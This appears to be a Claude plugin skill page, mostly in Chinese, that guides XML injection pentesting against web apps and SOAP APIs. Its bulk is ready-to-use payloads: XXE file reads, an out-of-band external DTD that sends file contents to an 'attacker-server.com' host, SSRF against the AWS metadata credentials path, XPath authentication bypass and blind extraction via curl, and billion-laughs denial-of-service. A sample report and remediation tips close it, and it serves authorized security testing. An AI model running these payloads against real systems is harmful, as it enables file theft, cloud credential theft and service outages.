Tests web apps for XML injection vulnerabilities including XXE (file read, blind, SSRF), XPath injection, and entity attacks to detect data leaks. For pentesting XML endpoints like SOAP APIs and file uploads.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试处理 XML 输入的应用程序(SOAP API、XML-RPC、文件上传)时
Tests web apps for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to detect data exposure and SSRF risks. Useful for pentesting XML-processing endpoints and SOAP services.
Tests web applications for XML injection vulnerabilities like XXE, XPath injection, and entity attacks using payloads and workflows to detect data exposure and SSRF risks.
Tests for XXE injection vulnerabilities in authorized pentests on XML-processing web apps and APIs, enabling file reads, SSRF, blind OOB detection via Burp Suite and curl payloads.
Share bugs, ideas, or general feedback.
# 查找接受 XML Content-Type 的端点
# Content-Type: application/xml, text/xml, application/soap+xml
# 检查 SOAP 服务的 WSDL 文件
curl -s http://target.com/service?wsdl
# 通过更改 Content-Type 测试端点是否接受 XML
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# 检查 XML 文件上传功能
# 寻找 .xml、.svg、.xlsx、.docx 文件处理功能
<!-- 基本 XXE 读取本地文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows 文件读取 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- 使用 PHP wrapper 获取 base64 编码的文件内容 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- 使用外部 DTD 的带外 XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!-- 托管在攻击者服务器上的外部 DTD 文件(xxe.dtd) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<!-- 基于 DNS 的带外检测 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
<!-- 通过 XXE 进行内网扫描 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<!-- 访问 AWS 元数据端点 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- 内网端口扫描 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
# 在搜索参数中进行基本 XPath 注入
curl "http://target.com/search?query=' or '1'='1"
# XPath 认证绕过
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath 数据提取
curl "http://target.com/search?query=' or 1=1 or ''='"
# 基于布尔值的盲 XPath 注入提取
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
<!-- 十亿笑攻击(仅在授权测试中使用) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<!-- 二次方膨胀攻击 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>
| 概念 | 描述 |
|---|---|
| XXE(XML 外部实体) | 利用处理外部实体引用的 XML 解析器的攻击方式 |
| 盲 XXE(Blind XXE) | 响应中不反射结果的 XXE 攻击,需要使用带外通道 |
| XPath 注入(XPath Injection) | 向用于导航 XML 文档的 XPath 查询中注入恶意代码 |
| DTD(文档类型定义) | 定义 XML 文档结构和实体的声明 |
| 参数实体(Parameter Entities) | DTD 中使用的特殊实体(%),用于盲 XXE 利用 |
| 通过 XXE 的 SSRF | 利用 XXE 向内部资源发起服务器端请求 |
| XML 炸弹(XML Bomb) | 通过递归实体扩展造成的拒绝服务攻击(十亿笑) |
| 工具 | 用途 |
|---|---|
| Burp Suite | 带 XXE Scanner 扩展的 HTTP 代理,用于自动检测 |
| XXEinjector | 自动化 XXE 注入和数据外泄工具 |
| OXML_XXE | 在 Office XML 文档中嵌入 XXE Payload 的工具 |
| xmllint | 用于 Payload 测试的 XML 验证和解析工具 |
| interact.sh | 用于盲 XXE 检测的带外交互服务器 |
| Content Type Converter | Burp 扩展,将 JSON 请求转换为 XML 用于 XXE 测试 |
## XML 注入评估报告
- **目标**: http://target.com/api/xml-endpoint
- **发现的漏洞类型**: XXE、盲 XXE、XPath 注入
- **严重级别**: 严重
### 发现
| # | 类型 | 端点 | Payload | 影响 |
|---|------|------|---------|------|
| 1 | XXE 文件读取 | POST /api/import | SYSTEM "file:///etc/passwd" | 本地文件泄露 |
| 2 | 盲 XXE | POST /api/upload | 带 OOB 的外部 DTD | 数据外泄 |
| 3 | 通过 XXE 的 SSRF | POST /api/parse | SYSTEM "http://169.254.169.254/" | 云凭证窃取 |
### 修复建议
- 在 XML 解析器配置中禁用外部实体处理
- 在可能的情况下使用 JSON 替代 XML
- 使用带严格 DTD 限制的 XML Schema 验证
- 阻止来自 XML 处理服务的出站连接